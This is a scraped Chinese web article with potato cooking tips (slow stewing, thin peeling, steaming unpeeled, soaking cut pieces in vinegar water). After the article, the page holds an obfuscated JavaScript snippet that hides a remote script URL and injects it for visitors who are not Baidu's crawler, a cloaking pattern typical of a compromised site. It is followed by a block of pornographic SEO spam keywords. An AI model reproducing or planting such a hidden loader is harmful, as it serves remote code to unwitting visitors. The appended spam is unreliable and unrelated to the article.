當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

愛吃土豆的你 一定要這樣吃才好吃!

2017-05-17 18:09:47  來源:360常識網   熱度:
導語:土豆是一定要削皮的,但是削皮時不能馬虎,削去薄薄一層即可,因為土豆皮下面的汁液中富含多種營養素。新土豆則可用冷熱水交替去皮,把土豆放入熱水中浸泡一下,再換到冷水中,這樣也能很容易地去皮。

愛吃土豆的你 一定要這樣吃才好吃!

愛吃土豆的你 一定要這樣吃才好吃!

愛吃土豆的你,一定要這樣吃才好吃!

土豆的做法有很多,可以炒、煮、煎、炸,但不管是哪種方法,最本質的還是要好吃。所以掌握竅門尤其重要。

最好用小火燉

土豆用文火燉煮,才能均勻地熟爛,若急火煮燒,會使外層熟爛甚至開裂,里面卻是生的。另外大火燉,湯汁不斷翻滾會使土豆塊外面煮爛,更容易糊鍋。

削皮

土豆是一定要削皮的,但是削皮時不能馬虎,削去薄薄一層即可,因為土豆皮下面的汁液中富含多種營養素。新土豆則可用冷熱水交替去皮,把土豆放入熱水中浸泡一下,再換到冷水中,這樣也能很容易地去皮。

土豆泥帶皮蒸營養更好

帶皮蒸的整土豆營養損失更少,尤其是維生素C保留得更多,是最營養的吃法。去皮蒸會讓水分更容易進入土豆中,這樣蒸出來的土豆水分太多,口感不好。另外,做土豆泥時也最好帶皮整個蒸熟后,再去皮搗制成泥。

新土豆燉煮,老土豆烹炒

新鮮土豆口感細嫩稠滑,容易做熟。由于其水分多、糖分多、膠黏性較好,在水中仍能保持塊狀,吃起來口感很嫩,所以適合做湯、燉燒菜等;而老土豆相比新土豆,在營養上沒有很大差異,但水分減少,口感爽脆,下鍋后不會發生新土豆那樣易黏鍋、易糊的現象,適合烹炒。

切完馬上泡在水里

土豆中含多酚氧化酶,在氧氣的作用下會發生褐變,從而影響土豆色澤。因此在烹飪過程中,切好的土豆應及時放在水里,以防氧化變黑。在浸泡時,可在水中加少許醋,一來可以有效地防止褐變,二來能讓土豆口感脆爽、不黏不糊,三來能減少土豆中維生素和礦物質等的流失。需要提醒的是,土豆切完后最好馬上烹調,以防營養素流失到水中。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品V天堂中文字幕| 成人区人妻精品一区二区不卡网站| 久久久精品视频免费观看| 国产私拍福利精品视频网站| 国产一精品一aⅴ一免费| 久久99精品久久久久婷婷| 亚洲视频在线精品| 久久国产精品电影| mm1313亚洲精品无码又大又粗| 国产午夜精品一区二区三区| 国产在线国偷精品产拍免费| 久久久久久久久毛片精品| 国产成人精品久久亚洲| 一本一道久久精品综合| 精品少妇人妻AV无码专区不卡| 国产AV午夜精品一区二区入口 | 亚洲av午夜国产精品无码中文字| 99热在线日韩精品免费| 91精品国产自产在线老师啪| 三上悠亚精品二区在线观看| 国内揄拍国内精品少妇国语| 亚洲精品日韩中文字幕久久久| 91探花福利精品国产自产在线| 精品国产乱码久久久久久鸭王1 | 69久久夜色精品国产69小说| 在线观看亚洲精品国产| 国产亚洲精品国产福利在线观看 | 国产精品亚洲专区无码WEB| 精品深夜AV无码一区二区| 国产乱色精品成人免费视频| 国产精品高清一区二区三区不卡| 久久久这里有精品999| 中文乱码精品一区二区三区| 国产91精品新入口| 日产精品卡一卡二卡三的概述 | 久久久久久亚洲精品| 精品亚洲视频在线观看| 一区二区三区四区精品| 在线观看国产精品va| 日韩av无码久久精品免费| 国产亚洲美女精品久久久2020|